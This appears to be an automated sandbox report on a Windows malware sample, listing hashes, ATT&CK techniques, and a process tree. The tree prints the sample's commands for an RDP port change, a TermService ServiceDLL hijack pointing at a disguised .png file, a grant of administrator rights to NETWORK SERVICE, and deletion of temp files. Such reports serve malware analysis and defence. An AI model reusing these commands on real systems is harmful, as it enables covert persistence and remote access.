6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc

General

Target

6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc.exe
Size

3.8MB
MD5

d050bf835cb8a5267754e565cfb75a3a
SHA1

c295f051e7e06717326b4bb98bce41d0ef8b4f5d
SHA256

6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc
SHA512

fe1e2dd16b759223dd271597d10c987ba8a3f42966db96948ece963f769d381ef6874fe5597d3d7a7e3799760db9909d5025765ca6cf488cae9e06908c960fd9

Score

9^/10

persistence

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

1848 powershell.exe
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\SysWOW64\rdpclip.exe powershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Modifies service 2 TTPs 2 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\parameters	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Drops file in Windows directory 8 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3960 reg.exe
Runs net.exe

pid	process
3960	reg.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
504	powershell.exe
504	powershell.exe
504	powershell.exe
752	powershell.exe
752	powershell.exe
752	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

616

pid	process
616

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	504	powershell.exe
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe

Suspicious use of WriteProcessMemory 63 IoCs

Processes:

6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc.exepowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.exe

description	pid	process	target process
PID 1028 wrote to memory of 1848	1028	6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc.exe	powershell.exe
PID 1028 wrote to memory of 1848	1028	6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc.exe	powershell.exe
PID 1028 wrote to memory of 1848	1028	6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc.exe	powershell.exe
PID 1848 wrote to memory of 3888	1848	powershell.exe	csc.exe
PID 1848 wrote to memory of 3888	1848	powershell.exe	csc.exe
PID 1848 wrote to memory of 3888	1848	powershell.exe	csc.exe
PID 3888 wrote to memory of 732	3888	csc.exe	cvtres.exe
PID 3888 wrote to memory of 732	3888	csc.exe	cvtres.exe
PID 3888 wrote to memory of 732	3888	csc.exe	cvtres.exe
PID 1848 wrote to memory of 504	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 504	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 504	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 752	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 752	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 752	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 1156	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 1156	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 1156	1848	powershell.exe	powershell.exe
PID 1848 wrote to memory of 2240	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 2240	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 2240	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 3960	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 3960	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 3960	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 3744	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 3744	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 3744	1848	powershell.exe	reg.exe
PID 1848 wrote to memory of 2456	1848	powershell.exe	net.exe
PID 1848 wrote to memory of 2456	1848	powershell.exe	net.exe
PID 1848 wrote to memory of 2456	1848	powershell.exe	net.exe
PID 2456 wrote to memory of 3548	2456	net.exe	net1.exe
PID 2456 wrote to memory of 3548	2456	net.exe	net1.exe
PID 2456 wrote to memory of 3548	2456	net.exe	net1.exe
PID 1848 wrote to memory of 1004	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 1004	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 1004	1848	powershell.exe	cmd.exe
PID 1004 wrote to memory of 3116	1004	cmd.exe	cmd.exe
PID 1004 wrote to memory of 3116	1004	cmd.exe	cmd.exe
PID 1004 wrote to memory of 3116	1004	cmd.exe	cmd.exe
PID 3116 wrote to memory of 2712	3116	cmd.exe	net.exe
PID 3116 wrote to memory of 2712	3116	cmd.exe	net.exe
PID 3116 wrote to memory of 2712	3116	cmd.exe	net.exe
PID 2712 wrote to memory of 420	2712	net.exe	net1.exe
PID 2712 wrote to memory of 420	2712	net.exe	net1.exe
PID 2712 wrote to memory of 420	2712	net.exe	net1.exe
PID 1848 wrote to memory of 1216	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 1216	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 1216	1848	powershell.exe	cmd.exe
PID 1216 wrote to memory of 3996	1216	cmd.exe	cmd.exe
PID 1216 wrote to memory of 3996	1216	cmd.exe	cmd.exe
PID 1216 wrote to memory of 3996	1216	cmd.exe	cmd.exe
PID 3996 wrote to memory of 2044	3996	cmd.exe	net.exe
PID 3996 wrote to memory of 2044	3996	cmd.exe	net.exe
PID 3996 wrote to memory of 2044	3996	cmd.exe	net.exe
PID 2044 wrote to memory of 3900	2044	net.exe	net1.exe
PID 2044 wrote to memory of 3900	2044	net.exe	net1.exe
PID 2044 wrote to memory of 3900	2044	net.exe	net1.exe
PID 1848 wrote to memory of 1368	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 1368	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 1368	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 3012	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 3012	1848	powershell.exe	cmd.exe
PID 1848 wrote to memory of 3012	1848	powershell.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc.exe
"C:\Users\Admin\AppData\Local\Temp\6e9e7e6942a4ce7a7a3023cf3f744f7aa2dbed97a2493bc2bb2873be27a8f3fc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1028

\??\c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
-ep bypass -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
2⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\anrhzsdd\anrhzsdd.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:3888

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5A1C.tmp" "c:\Users\Admin\AppData\Local\Temp\anrhzsdd\CSCE425F2CE15B540869A357924AF68EDCA.TMP"
4⤵
PID:732

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:504

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:752

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1156

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
3⤵
PID:2240

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
3⤵
- Modifies service
- Modifies registry key
PID:3960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
3⤵
PID:3744

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
3⤵
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
4⤵
PID:3548

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
3⤵
- Suspicious use of WriteProcessMemory
PID:1004

C:\Windows\SysWOW64\cmd.exe
cmd /c net start rdpdr
4⤵
- Suspicious use of WriteProcessMemory
PID:3116

C:\Windows\SysWOW64\net.exe
net start rdpdr
5⤵
- Suspicious use of WriteProcessMemory
PID:2712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start rdpdr
6⤵
PID:420

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
3⤵
- Suspicious use of WriteProcessMemory
PID:1216

C:\Windows\SysWOW64\cmd.exe
cmd /c net start TermService
4⤵
- Suspicious use of WriteProcessMemory
PID:3996

C:\Windows\SysWOW64\net.exe
net start TermService
5⤵
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
6⤵
PID:3900

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
3⤵
PID:1368

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
3⤵
PID:3012

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Account Manipulation

1

T1098

Registry Run Keys / Startup Folder

1

T1060

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

3

T1112

Credential Access

Discovery

Lateral Movement

Remote Desktop Protocol

1

T1076

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
MD5
f3068198b62b4b70404ec46694d632be

SHA1
7b0b31ae227cf2a78cb751573a9d07f755104ea0

SHA256
bd0fab28319be50795bd6aa9692742ba12539b136036acce2e0403f10a779fc8

SHA512
ef285a93898a9436219540f247beb52da69242d05069b3f50d1761bb956ebb8468aeaeadcb87dd7a09f5039c479a31f313c83c4a63c2b2f789f1fe55b4fa9795

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES5A1C.tmp
MD5
3e8de78a6be2d6d574203e4628e02b93

SHA1
fd9fa3eec97f2df9c3f0cd1d0464c3f890fb02fb

SHA256
4909e12031a2863a6f0a8f0b793029b955a2a22e7c442b938f9b9d9dc223e570

SHA512
42790791dd5588ef721a68199ab447380128d0fec1b6ccdbb6b09a4ce6b9cd8cae00d5703807b982c66940dda9b20535c42f24c22cb8e767625be7b568e9e004

Download Submit
C:\Users\Admin\AppData\Local\Temp\anrhzsdd\anrhzsdd.dll
MD5
7740edd656cbb16eb603c8b55591c5a0

SHA1
c88891df1d5991c640609c918a61d86e18c576e2

SHA256
a98284dc1ec517f8dc695a20ce4671bc64a1c9c608aec3bea69ab286157079b8

SHA512
2951d0474c45972cdc953880b12a4456a516ad9b94125098800af2922764bb42588d846ebbc5e6350546073ae8880fabf20af08787f030e6c84516129cf29112

Download Submit
C:\Users\Admin\AppData\Local\Temp\get-points.ps1
MD5
851bf8df96899b2cc50af8047e9fbe5c

SHA1
e259d3ea9eabae926f74358b6e8f583cfcb4106b

SHA256
b920aeb39633531fc8150a758f0d1d697c51f5d7b7dc09a73e68b76948cd39d6

SHA512
648ad3ed2b6a1d16d6d43f7a264d3dc3112415c14c7eaab9c214725ca4abfac0640ff8a724c994a8b6d73fe0c3e74339291bf45d63501ac3dcdc40ce38a30792

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\anrhzsdd\CSCE425F2CE15B540869A357924AF68EDCA.TMP
MD5
d98973da8c9d6b3944f2c84adb9fb0e1

SHA1
473809d0af53db6431dbd33ef7f69206e853a94b

SHA256
b99f99afab58a4d8cba4b565ee06cbd618fdea53e5f75512dc6b93808bd37e0a

SHA512
2e181bac918d7ba7e165f795813fe490dad4c75077e65537647314d9162260a4b92f55099f885038e397f38776b7ca050962f96da6dab680fb4aa4016345aa92

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\anrhzsdd\anrhzsdd.0.cs
MD5
6f235215132cdebacd0f793fe970d0e3

SHA1
2841e44c387ed3b6f293611992f1508fe9b55b89

SHA256
ccad602538354ee5bbc78ab935207c36ba9910da1a7b5a10ff455e34e15f15ec

SHA512
a14657bc5be862a96c1826347b551e07b47ffa6ffd7e12fbfc3437b9a48e8b8e020ae71b8ef836c357d9db6c065da962a6141272d9bc58b76a9eb9c11553d44e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\anrhzsdd\anrhzsdd.cmdline
MD5
3015d61b9518b820ce041d362b0ce1c1

SHA1
8990740c65f1fccc6980f972f1f45d3f08170194

SHA256
ab94a9311554935f70a6619cce2c1fa7ed94618ce421d15240349aa736d517ca

SHA512
55d83fef44ff539a1f70ca29c90f456bc2b213adabe4c8ded9ebb9f038df16634c777c02d2c34686bc9181edb7d128abaa9b3e37b3aa62de3c486437beaf8d0b

Download Submit
memory/420-116-0x0000000000000000-mapping.dmp

Download
memory/504-46-0x0000000008C30000-0x0000000008C31000-memory.dmp

Filesize
4KB

Download
memory/504-43-0x0000000008980000-0x0000000008981000-memory.dmp

Filesize
4KB

Download
memory/504-48-0x0000000008C20000-0x0000000008C21000-memory.dmp

Filesize
4KB

Download
memory/504-24-0x0000000073F60000-0x000000007464E000-memory.dmp

Filesize
6.9MB

Download
memory/504-45-0x0000000008C90000-0x0000000008C91000-memory.dmp

Filesize
4KB

Download
memory/504-44-0x0000000008AE0000-0x0000000008AE1000-memory.dmp

Filesize
4KB

Download
memory/504-23-0x0000000000000000-mapping.dmp

Download
memory/504-35-0x00000000089A0000-0x00000000089D3000-memory.dmp

Filesize
204KB

Download
memory/732-17-0x0000000000000000-mapping.dmp

Download
memory/752-51-0x0000000073F60000-0x000000007464E000-memory.dmp

Filesize
6.9MB

Download
memory/752-50-0x0000000000000000-mapping.dmp

Download
memory/1004-113-0x0000000000000000-mapping.dmp

Download
memory/1156-78-0x0000000073F60000-0x000000007464E000-memory.dmp

Filesize
6.9MB

Download
memory/1156-77-0x0000000000000000-mapping.dmp

Download
memory/1216-117-0x0000000000000000-mapping.dmp

Download
memory/1368-121-0x0000000000000000-mapping.dmp

Download
memory/1848-13-0x0000000009340000-0x0000000009341000-memory.dmp

Filesize
4KB

Download
memory/1848-3-0x0000000007570000-0x0000000007571000-memory.dmp

Filesize
4KB

Download
memory/1848-21-0x00000000093A0000-0x00000000093A1000-memory.dmp

Filesize
4KB

Download
memory/1848-133-0x0000000009800000-0x0000000009801000-memory.dmp

Filesize
4KB

Download
memory/1848-0-0x0000000000000000-mapping.dmp

Download
memory/1848-12-0x000000000BDB0000-0x000000000BDB1000-memory.dmp

Filesize
4KB

Download
memory/1848-10-0x0000000008540000-0x0000000008541000-memory.dmp

Filesize
4KB

Download
memory/1848-9-0x00000000087B0000-0x00000000087B1000-memory.dmp

Filesize
4KB

Download
memory/1848-8-0x0000000007C60000-0x0000000007C61000-memory.dmp

Filesize
4KB

Download
memory/1848-7-0x0000000007F50000-0x0000000007F51000-memory.dmp

Filesize
4KB

Download
memory/1848-6-0x0000000007EE0000-0x0000000007EE1000-memory.dmp

Filesize
4KB

Download
memory/1848-5-0x0000000007CF0000-0x0000000007CF1000-memory.dmp

Filesize
4KB

Download
memory/1848-106-0x00000000094A0000-0x00000000094A1000-memory.dmp

Filesize
4KB

Download
memory/1848-107-0x0000000009AB0000-0x0000000009AB1000-memory.dmp

Filesize
4KB

Download
memory/1848-1-0x0000000073F60000-0x000000007464E000-memory.dmp

Filesize
6.9MB

Download
memory/1848-2-0x0000000004E00000-0x0000000004E01000-memory.dmp

Filesize
4KB

Download
memory/1848-22-0x0000000007150000-0x0000000007151000-memory.dmp

Filesize
4KB

Download
memory/1848-4-0x0000000007500000-0x0000000007501000-memory.dmp

Filesize
4KB

Download
memory/2044-119-0x0000000000000000-mapping.dmp

Download
memory/2240-108-0x0000000000000000-mapping.dmp

Download
memory/2456-111-0x0000000000000000-mapping.dmp

Download
memory/2712-115-0x0000000000000000-mapping.dmp

Download
memory/3012-122-0x0000000000000000-mapping.dmp

Download
memory/3116-114-0x0000000000000000-mapping.dmp

Download
memory/3548-112-0x0000000000000000-mapping.dmp

Download
memory/3744-110-0x0000000000000000-mapping.dmp

Download
memory/3888-14-0x0000000000000000-mapping.dmp

Download
memory/3900-120-0x0000000000000000-mapping.dmp

Download
memory/3960-109-0x0000000000000000-mapping.dmp

Download
memory/3996-118-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads